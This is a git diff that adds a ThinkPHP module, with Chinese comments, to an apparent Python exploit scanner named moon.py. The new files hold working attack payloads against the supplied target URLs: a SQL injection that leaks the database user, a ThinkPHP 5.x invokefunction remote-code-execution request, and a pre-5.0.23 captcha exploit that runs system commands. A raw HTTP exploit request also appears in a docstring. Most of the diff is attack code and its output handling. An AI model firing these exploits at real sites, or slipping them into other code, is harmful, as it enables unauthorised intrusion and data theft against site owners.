diff --git a/.vscode/settings.json b/.vscode/settings.json index 04b62f1..e3e3e72 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -2,5 +2,5 @@ "python.linting.flake8Enabled": true, "python.linting.pylintEnabled": false, "python.linting.enabled": true, - "python.pythonPath": "C:\\Python37\\python.exe" + "python.pythonPath": "C:\\python3\\python.exe" } \ No newline at end of file diff --git a/README.md b/README.md index dffe04f..e1b4527 100644 --- a/README.md +++ b/README.md @@ -100,3 +100,11 @@ - Drupal Drupalgeddon 2远程代码执行漏洞（CVE-2018-7600） # > moon.py -u drupal + +## Thinkphp + +- thinkphp_before5_0_23_rce +- thinkphp5_inj_info +- thinkphp5_x_rce + +> moon.py -u thinkphp \ No newline at end of file diff --git a/moon.py b/moon.py index 31d290c..f9beb59 100644 --- a/moon.py +++ b/moon.py @@ -16,6 +16,7 @@ import jboss.Main_jboss import kindeditor.Main_kindeditor import durpal.Main_durpal import bf_dicts.Main_bf +import thinkphp.Main_thinkphp if __name__ == "__main__": @@ -69,7 +70,8 @@ modul：ip ipq kindeditor.Main_kindeditor.exec(sys.argv[3]) elif sys.argv[2] == 'drupal': durpal.Main_durpal.exec(sys.argv[3]) - + elif sys.argv[2] == 'thinkphp': + thinkphp.Main_thinkphp.exec(sys.argv[3]) else: print(''' @@ -92,4 +94,4 @@ modul: tomcat fck weblogic iis docker redis zabbix navigate gatepass IP归属查询： userage: python -u ip www.xxxxx.com/xx.xx.xx.xx modul：ip ipq - ''') +''') diff --git a/thinkphp/Main_thinkphp.py b/thinkphp/Main_thinkphp.py new file mode 100644 index 0000000..0becc30 --- /dev/null +++ b/thinkphp/Main_thinkphp.py @@ -0,0 +1,14 @@ +# -*- coding: utf-8 -*- +import thinkphp.thinkphp5_inj_info +import thinkphp.thinkphp5_x_rce +import thinkphp.thinkphp_before5_0_23_rce + + +def exec(URL): + thinkphp.thinkphp5_inj_info.attack(URL) + thinkphp.thinkphp5_x_rce.attack(URL) + thinkphp.thinkphp_before5_0_23_rce.attack(URL) + + +if __name__ == "__main__": + exec() diff --git a/thinkphp/__init__.py b/thinkphp/__init__.py new file mode 100644 index 0000000..7c68785 --- /dev/null +++ b/thinkphp/__init__.py @@ -0,0 +1 @@ +# -*- coding: utf-8 -*- \ No newline at end of file diff --git a/thinkphp/thinkphp5_inj_info.py b/thinkphp/thinkphp5_inj_info.py new file mode 100644 index 0000000..7aca2a9 --- /dev/null +++ b/thinkphp/thinkphp5_inj_info.py @@ -0,0 +1,39 @@ +# -*- coding: utf-8 -*- +import requests +from bs4 import BeautifulSoup + +''' +moon.py -u thinkphp http://xxxx.xxxx.xxxx.xxxx:xx +ThinkPHP5 SQL注入漏洞 && 敏感信息泄露 +启动后，访问http://your-ip/index.php?ids[]=1&ids[]=2，即可看到用户名被显示了出来。 +''' + + +def attack(url): + print('[+]开始检测 thinkphp5_inj_info ！') + URL1 = url + '/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1' + try: + re = requests.get(URL1, verify=False, timeout=10) + except Exception: + print('[-]访问漏洞页面失败,未发现该漏洞！') + print('\n') + else: + if re.status_code == 500 and 'SQLSTATE' in re.text: + print('[+]存在风险页面，开始检测:', URL1) + try: + # print(re.text) + soup=BeautifulSoup(re.content,"lxml") + print('[+]获得账户数据如下，数据库连接数据请前往页面自行查找：') + print(soup.find_all('h1')[0].get_text()) + print('[+]漏洞检测结束,存在 thinkphp5_inj_info ！') + print('\n') + except Exception: + print('[-]获取数据出错！请自行访问页面判断.') + print('\n') + else: + print('[-]访问漏洞页面失败,未发现该漏洞：', URL1, re.status_code) + print('\n') + + +if __name__ == "__main__": + attack() diff --git a/thinkphp/thinkphp5_x_rce.py b/thinkphp/thinkphp5_x_rce.py new file mode 100644 index 0000000..3345759 --- /dev/null +++ b/thinkphp/thinkphp5_x_rce.py @@ -0,0 +1,38 @@ +# -*- coding: utf-8 -*- +import requests +from bs4 import BeautifulSoup + +''' +moon.py -u thinkphp http://xxxx.xxxx.xxxx.xxxx:xx +ThinkPHP是一款运用极广的PHP开发框架。其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。 +直接访问http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1，即可执行phpinfo： +''' + + +def attack(url): + print('[+]开始检测 thinkphp5.x_rce ！') + URL1 = url + r'/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1' + try: + re = requests.get(URL1, verify=False, timeout=10) + except Exception: + print('[-]访问漏洞页面失败,未发现该漏洞！') + print('\n') + else: + if re.status_code == 500 and 'PHP' in re.text and 'System ' in re.text: + print('[+]phpinfo成功执行:', URL1) + try: + soup=BeautifulSoup(re.content,"lxml") + print('[+]获取到的php版本如下：') + print(soup.find_all('h1')[0].get_text()) + print('[+]漏洞检测结束，存在 thinkphp5.x_rce ！') + print('\n') + except Exception: + print('[-]获取数据出错！请自行访问页面判断.') + print('\n') + else: + print('[-]访问漏洞页面失败,未发现该漏洞：', URL1, re.status_code) + print('\n') + + +if __name__ == "__main__": + attack() diff --git a/thinkphp/thinkphp_before5_0_23_rce.py b/thinkphp/thinkphp_before5_0_23_rce.py new file mode 100644 index 0000000..c3abad2 --- /dev/null +++ b/thinkphp/thinkphp_before5_0_23_rce.py @@ -0,0 +1,48 @@ +# -*- coding: utf-8 -*- +import requests +from bs4 import BeautifulSoup + +''' +moon.py -u thinkphp http://xxxx.xxxx.xxxx.xxxx:xx +ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。 + +POST /index.php?s=captcha HTTP/1.1 +Host: localhost +Accept-Encoding: gzip, deflate +Accept: */* +Accept-Language: en +User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) +Connection: close +Content-Type: application/x-www-form-urlencoded +Content-Length: 72 + +_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id +''' + + +def attack(url): + print('[+]开始检测 thinkphp_before5.0.23_rce ！') + URL1 = url + r'/index.php?s=captcha' + try: + data = {'_method': '__construct', 'filter[]': 'system', 'method': 'get', 'server[REQUEST_METHOD]': 'ls'} + re = requests.post(URL1, data=data, verify=False, timeout=10) + except Exception: + print('[-]访问漏洞页面失败，未发现该漏洞！') + print('\n') + else: + if re.status_code == 200 and 'System Error' in re.text: + print('[+]命令成功执行，获取到的目录如下:') + try: + print(re.text[:80]) + print('[+]漏洞检测结束,存在 thinkphp_before5.0.23_rce ！') + print('\n') + except Exception: + print('[-]获取数据出错！请自行访问页面判断.') + print('\n') + else: + print('[-]访问漏洞页面失败，未发现该漏洞', URL1, re.status_code) + print('\n') + + +if __name__ == "__main__": + attack()